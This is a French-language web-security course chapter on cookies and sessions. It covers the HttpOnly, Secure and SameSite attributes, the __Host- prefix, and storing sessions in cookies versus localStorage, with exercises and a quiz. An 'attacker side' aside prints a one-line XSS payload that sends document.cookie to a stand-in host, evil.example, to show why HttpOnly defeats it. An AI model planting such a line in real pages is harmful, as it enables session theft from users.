Chapitre 2.2 — Cookies & sessions
⏱️ TL;DR — Un cookie est une petite donnée que le serveur pose (
Set-Cookie) et que le navigateur renvoie automatiquement à chaque requête vers le domaine. C’est le support le plus courant de la session. Trois attributs décident de sa sécurité :HttpOnly(invisible au JavaScript → limite le vol par XSS),Secure(envoyé en HTTPS seulement),SameSite(Lax/Strict/None→ première ligne de défense contre le CSRF). Bien réglés, avec les préfixes__Host-, ils font d’un cookie de session un support robuste — bien plus sûr que de ranger un token dans lelocalStorage.
🎯 Objectifs
- Comprendre le cycle
Set-Cookie→ renvoi automatique et le lien cookie/session. - Régler les attributs
HttpOnly,Secure,SameSite,Domain/Pathet les préfixes. - Choisir en connaissance de cause entre cookie de session et token dans
localStorage. - Reconnaître les configurations de cookie dangereuses.
Le cycle d’un cookie
Le serveur pose un cookie via l’en-tête Set-Cookie dans une réponse ; le navigateur le stocke et le renvoie automatiquement dans l’en-tête Cookie à chaque requête vers le domaine correspondant.
# Réponse du serveur (à la connexion) :
HTTP/1.1 200 OK
Set-Cookie: session=eyJ...; HttpOnly; Secure; SameSite=Lax; Path=/
# Puis, à CHAQUE requête suivante, le navigateur renvoie tout seul :
GET /api/mes-cours HTTP/1.1
Cookie: session=eyJ...C’est ce renvoi automatique qui rend les cookies pratiques (l’utilisateur reste connecté) — et c’est aussi ce qui les expose au CSRF (le cookie part même si la requête est déclenchée par un autre site). D’où l’importance de SameSite, plus bas.
Le cookie contient typiquement un identifiant de session opaque (une longue valeur aléatoire) qui référence, côté serveur, les données de session (l’utilisateur connecté, ses droits…). Le cookie lui-même ne contient pas ces données sensibles : il n’est qu’une clé.
Les trois attributs qui comptent
HttpOnly — invisible au JavaScript
Un cookie HttpOnly n’est pas accessible via document.cookie en JavaScript. Conséquence directe : même si un XSS parvient à exécuter du code sur ta page, il ne pourra pas lire le cookie de session pour l’exfiltrer. C’est une atténuation majeure du vol de session par XSS.
Set-Cookie: session=...; HttpOnly🎯 Côté attaquant — Le vol de session « classique » par XSS ressemble à
new Image().src = 'https://evil.example/vol?c=' + document.cookie. Si le cookie estHttpOnly, cette ligne récupère… tout sauf le cookie de session — l’exfiltration échoue sur la partie qui compte.HttpOnlyne corrige pas le XSS (l’attaquant peut encore agir dans la page), mais il ferme la porte du vol de cookie.
Secure — HTTPS seulement
Un cookie Secure n’est envoyé que sur des connexions HTTPS. Sans lui, un cookie pourrait partir en clair sur une connexion HTTP et être intercepté sur le réseau. En pratique : tout cookie de session doit être Secure (et tout le site doit être en HTTPS — voir le chapitre 2.3).
Set-Cookie: session=...; SecureSameSite — la défense CSRF de base
SameSite contrôle si le cookie est envoyé lors de requêtes cross-site (déclenchées depuis un autre site). Trois valeurs :
| Valeur | Le cookie est envoyé… | Effet |
|---|---|---|
Strict | Uniquement si la requête part du même site. | Protection CSRF maximale, mais casse la navigation entrante (un lien externe vers ton site n’envoie pas le cookie → l’utilisateur paraît déconnecté au premier clic). |
Lax | Même site, plus les navigations de haut niveau en GET (clic sur un lien). | Bon équilibre : bloque les POST cross-site (le cœur du CSRF) tout en gardant les liens entrants fonctionnels. Souvent le défaut des navigateurs modernes. |
None | Toujours, y compris cross-site. | Exige Secure. À réserver aux cookies qui doivent vraiment être cross-site (SSO, iframes tierces). Sans protection additionnelle, rouvre le CSRF. |
Pour un cookie de session, Lax est le choix par défaut raisonnable, Strict si tu peux te le permettre côté UX. None seulement avec une vraie raison — et jamais sans autre défense CSRF.
💡 Réflexe —
SameSite=Laxest une première ligne de défense CSRF, pas la seule. Elle réduit énormément la surface (lesPOSTcross-site classiques sont bloqués), mais on la complète par des jetons anti-CSRF pour les actions sensibles (Partie 8) — defense in depth. Ne considère jamaisSameSiteseul comme « le problème CSRF réglé ».
Domain, Path et les préfixes
Domain: élargit la portée du cookie aux sous-domaines (Domain=formacampus.fr→ envoyé aussi àapi.etapp.). À utiliser avec parcimonie : plus la portée est large, plus un sous-domaine compromis met en danger le cookie. SansDomain, le cookie est limité à l’hôte exact (plus sûr).Path: limite le cookie à un chemin. Faible valeur de sécurité (contournable), à ne pas confondre avec un contrôle d’accès.- Préfixe
__Host-: nommer un cookie__Host-sessionimpose au navigateur qu’il soitSecure, sansDomain(donc lié à l’hôte exact) et avecPath=/. C’est une garantie forte et gratuite pour les cookies sensibles. Le préfixe__Secure-impose au moinsSecure.
# Cookie de session robuste :
Set-Cookie: __Host-session=eyJ...; HttpOnly; Secure; SameSite=Lax; Path=/Cookie vs localStorage : où ranger un token ?
Débat récurrent, surtout côté SPA. Beaucoup de tutoriels rangent le token d’auth (souvent un JWT) dans le localStorage. C’est en général une mauvaise idée du point de vue sécurité :
| Critère | Cookie HttpOnly | localStorage |
|---|---|---|
| Accessible au JS (donc volable par XSS) | Non (HttpOnly) | Oui — tout script sur la page peut le lire |
| Envoyé automatiquement | Oui (attention CSRF → SameSite) | Non (le dev l’ajoute manuellement) |
| Exposé au CSRF | Oui, atténué par SameSite + jeton | Non (pas d’envoi auto)… |
| Bilan | Vol par XSS bloqué, CSRF gérable | Vol par XSS trivial dès qu’un XSS existe |
Le point décisif : dès qu’il y a un XSS, un token en localStorage est lisible et exfiltrable en une ligne, tandis qu’un cookie HttpOnly ne l’est pas. On échange le risque CSRF (bien maîtrisé par SameSite + jetons) contre une immunité au vol par XSS — un bon échange. La recommandation générale (OWASP) penche vers le cookie HttpOnly + Secure + SameSite pour stocker l’identifiant de session.
⚠️ Piège — « Le JWT dans le
localStorage, c’est plus simple. » Simple, oui ; sûr, non. En cas de XSS,localStorage.getItem('token')livre le jeton à l’attaquant, qui se connecte alors depuis chez lui, sans même rester sur la victime. Et un JWT auto-porté est difficile à révoquer. Préfère un cookie de sessionHttpOnly; si tu tiens aux tokens, garde-les hors de portée du JS.
🧭 Sur FormaCampus — La session de FormaCampus est portée par un cookie
__Host-session:HttpOnly(un éventuel XSS ne peut pas voler la session),Secure(HTTPS partout),SameSite=Lax(bloque les POST cross-site) et lié à l’hôte exact. L’identifiant de session est opaque (aléatoire, sans donnée sensible dedans) et référence l’état côté serveur, ce qui permet de révoquer une session instantanément (déconnexion, compromission) — impossible avec un JWT auto-porté rangé côté client.
✏️ Exercices
Exercice 1 — Corrige le Set-Cookie. Une appli pose sa session ainsi : Set-Cookie: session=abc. Cite les trois attributs manquants critiques et écris la version corrigée pour une appli HTTPS.
✅ Solution
Manquent HttpOnly (sinon un XSS lit la session), Secure (sinon le cookie peut partir en clair) et SameSite (sinon exposition CSRF maximale). Version corrigée : Set-Cookie: __Host-session=abc; HttpOnly; Secure; SameSite=Lax; Path=/. Le préfixe __Host- et l’absence de Domain renforcent encore (cookie lié à l’hôte exact).
Exercice 2 — Choisis le stockage. Une nouvelle SPA doit garder l’utilisateur connecté. Un collègue propose de stocker le JWT en localStorage « parce que c’est plus pratique ». Quel est le principal risque, et que proposes-tu ?
✅ Solution
Le principal risque : en cas de XSS, un token en localStorage est lisible en une ligne de JS (localStorage.getItem) et exfiltrable — l’attaquant se connecte ensuite depuis chez lui. Proposition : ranger l’identifiant de session dans un cookie HttpOnly + Secure + SameSite=Lax (idéalement __Host-), invisible au JS donc non volable par XSS, et compléter par une protection CSRF (jeton) pour les actions sensibles. Bonus : une session opaque côté serveur est révocable, contrairement à un JWT auto-porté.
🧠 Quiz de révision
1. Que fait l’attribut HttpOnly et contre quoi protège-t-il ?
HttpOnly et contre quoi protège-t-il ?Il rend le cookie inaccessible au JavaScript (document.cookie ne le voit pas). Il protège contre le vol de session par XSS : même si un script malveillant s’exécute, il ne peut pas lire ni exfiltrer le cookie. Il n’élimine pas le XSS, mais ferme la porte du vol de cookie.
2. À quoi sert SameSite et quelle valeur privilégier pour une session ?
SameSite et quelle valeur privilégier pour une session ?Il contrôle l’envoi du cookie sur les requêtes cross-site, première défense contre le CSRF. Pour une session, Lax est le bon défaut (bloque les POST cross-site, garde les liens entrants) ; Strict si l’UX le permet ; None seulement avec une vraie raison et Secure obligatoire.
3. Pourquoi un token en localStorage est-il risqué ?
localStorage est-il risqué ?Parce qu’il est lisible par tout JavaScript de la page : dès qu’un XSS existe, le token est volé et exfiltré trivialement. Un cookie HttpOnly reste hors de portée du JS. On préfère donc le cookie de session HttpOnly/Secure/SameSite.
4. Que garantit le préfixe __Host- sur un nom de cookie ?
__Host- sur un nom de cookie ?Le navigateur n’accepte le cookie que s’il est Secure, sans Domain (donc lié à l’hôte exact, pas aux sous-domaines) et avec Path=/. C’est une garantie forte et gratuite pour les cookies sensibles comme la session.
5. Que contient (idéalement) le cookie de session lui-même ?
Un identifiant opaque (valeur aléatoire), pas les données sensibles. Cet id référence l’état de session côté serveur (utilisateur, droits). Avantage : rien de sensible ne transite ni ne stationne côté client, et la session reste révocable côté serveur.
Chapitre suivant : HTTPS/TLS : ce qu’il protège — ce que le cadenas garantit vraiment, et les attaques qu’il ne bloque absolument pas.